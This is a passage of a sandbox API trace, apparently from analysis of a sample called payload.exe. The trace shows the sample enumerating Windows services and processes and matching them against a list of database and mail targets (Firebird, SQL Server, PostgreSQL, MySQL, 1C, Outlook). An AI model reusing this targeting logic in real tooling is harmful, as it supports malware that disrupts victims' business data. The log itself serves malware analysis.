(lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0101.486] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0101.486] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0101.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0101.486] lstrlenW (lpString="SamSs") returned 5 [0101.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0101.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0101.486] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0101.486] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0101.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0101.486] lstrlenW (lpString="Schedule") returned 8 [0101.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0101.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0101.487] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0101.487] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0101.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0101.487] lstrlenW (lpString="SENS") returned 4 [0101.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0101.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0101.487] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0101.487] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0101.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0101.487] lstrlenW (lpString="ShellHWDetection") returned 16 [0101.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0101.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0101.487] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0101.487] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0101.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0101.487] lstrlenW (lpString="Spooler") returned 7 [0101.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0101.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0101.487] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0101.487] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0101.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0101.487] lstrlenW (lpString="SysMain") returned 7 [0101.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0101.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0101.487] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0101.487] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0101.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0101.487] lstrlenW (lpString="Themes") returned 6 [0101.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0101.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0101.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0101.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0101.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0101.488] lstrlenW (lpString="TrkWks") returned 6 [0101.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0101.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0101.488] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0101.488] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0101.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0101.488] lstrlenW (lpString="UxSms") returned 5 [0101.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0101.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0101.488] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0101.488] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0101.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0101.488] lstrlenW (lpString="WdiServiceHost") returned 14 [0101.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0101.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0101.488] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0101.488] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0101.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0101.488] lstrlenW (lpString="WdiSystemHost") returned 13 [0101.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0101.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0101.488] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0101.488] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0101.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0101.488] lstrlenW (lpString="Winmgmt") returned 7 [0101.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0101.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0101.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0101.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0101.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0101.488] lstrlenW (lpString="WPDBusEnum") returned 10 [0101.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0101.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0101.488] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0101.488] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0101.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0101.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0101.488] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3bc [0101.490] Process32FirstW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.490] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0101.490] lstrlenW (lpString="System") returned 6 [0101.490] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0101.490] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0101.490] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0101.490] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0101.490] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0101.490] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0101.491] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0101.491] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0101.491] lstrlenW (lpString="smss.exe") returned 8 [0101.491] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0101.491] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0101.491] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0101.491] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0101.491] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0101.491] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0101.491] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0101.491] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0101.491] lstrlenW (lpString="csrss.exe") returned 9 [0101.491] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0101.491] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0101.491] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0101.491] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0101.491] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0101.491] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0101.491] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0101.491] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0101.492] lstrlenW (lpString="wininit.exe") returned 11 [0101.492] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0101.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0101.492] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0101.492] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0101.492] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0101.492] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0101.492] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0101.492] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0101.492] lstrlenW (lpString="csrss.exe") returned 9 [0101.492] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0101.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0101.492] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0101.492] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0101.492] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0101.492] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0101.492] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0101.492] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0101.492] lstrlenW (lpString="winlogon.exe") returned 12 [0101.492] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0101.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0101.492] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0101.492] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0101.492] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0101.493] lstrlenW (lpString="services.exe") returned 12 [0101.493] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0101.493] lstrlenW (lpString="lsass.exe") returned 9 [0101.493] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0101.493] lstrlenW (lpString="lsm.exe") returned 7 [0101.493] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.493] lstrlenW (lpString="svchost.exe") returned 11 [0101.493] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.494] lstrlenW (lpString="svchost.exe") returned 11 [0101.494] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.494] lstrlenW (lpString="svchost.exe") returned 11 [0101.494] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.494] lstrlenW (lpString="svchost.exe") returned 11 [0101.494] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.494] lstrlenW (lpString="svchost.exe") returned 11 [0101.494] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0101.495] lstrlenW (lpString="audiodg.exe") returned 11 [0101.495] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.495] lstrlenW (lpString="svchost.exe") returned 11 [0101.495] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.495] lstrlenW (lpString="svchost.exe") returned 11 [0101.495] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0101.495] lstrlenW (lpString="userinit.exe") returned 12 [0101.495] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0101.496] lstrlenW (lpString="dwm.exe") returned 7 [0101.496] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0101.496] lstrlenW (lpString="explorer.exe") returned 12 [0101.496] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0101.496] lstrlenW (lpString="spoolsv.exe") returned 11 [0101.496] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0101.496] lstrlenW (lpString="taskhost.exe") returned 12 [0101.496] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.497] lstrlenW (lpString="svchost.exe") returned 11 [0101.497] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0101.497] lstrlenW (lpString="payload.exe") returned 11 [0101.497] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0101.497] lstrlenW (lpString="reader_sl.exe") returned 13 [0101.497] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0101.497] lstrlenW (lpString="taskhost.exe") returned 12 [0101.497] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0101.498] lstrlenW (lpString="dllhost.exe") returned 11 [0101.498] Process32NextW (in: hSnapshot=0x3bc, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0101.498] CloseHandle (hObject=0x3bc) returned 1 [0101.498] Sleep (dwMilliseconds=0x1f4) [0102.535] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7238 [0102.544] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0102.545] GetLastError () returned 0xea [0102.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x113e) returned 0x5e07c8 [0102.549] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x113e, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0102.556] CloseServiceHandle (hSCObject=0x3ab7238) returned 1 [0102.556] lstrlenW (lpString="Appinfo") returned 7 [0102.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0102.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0102.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0102.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0102.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0102.556] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0102.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0102.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0102.556] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0102.556] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0102.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0102.556] lstrlenW (lpString="AudioSrv") returned 8 [0102.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0102.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0102.557] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0102.557] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0102.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0102.557] lstrlenW (lpString="BFE") returned 3 [0102.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0102.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0102.557] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0102.557] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0102.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0102.557] lstrlenW (lpString="CryptSvc") returned 8 [0102.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0102.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0102.557] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0102.557] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0102.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0102.557] lstrlenW (lpString="CscService") returned 10 [0102.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0102.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0102.557] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0102.557] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0102.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0102.557] lstrlenW (lpString="DcomLaunch") returned 10 [0102.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0102.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0102.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0102.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0102.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0102.557] lstrlenW (lpString="Dhcp") returned 4 [0102.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0102.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0102.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0102.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0102.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0102.557] lstrlenW (lpString="Dnscache") returned 8 [0102.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0102.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0102.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0102.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0102.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0102.557] lstrlenW (lpString="DPS") returned 3 [0102.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0102.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0102.558] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0102.558] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0102.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0102.558] lstrlenW (lpString="eventlog") returned 8 [0102.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0102.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0102.558] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0102.558] lstrcmpiW 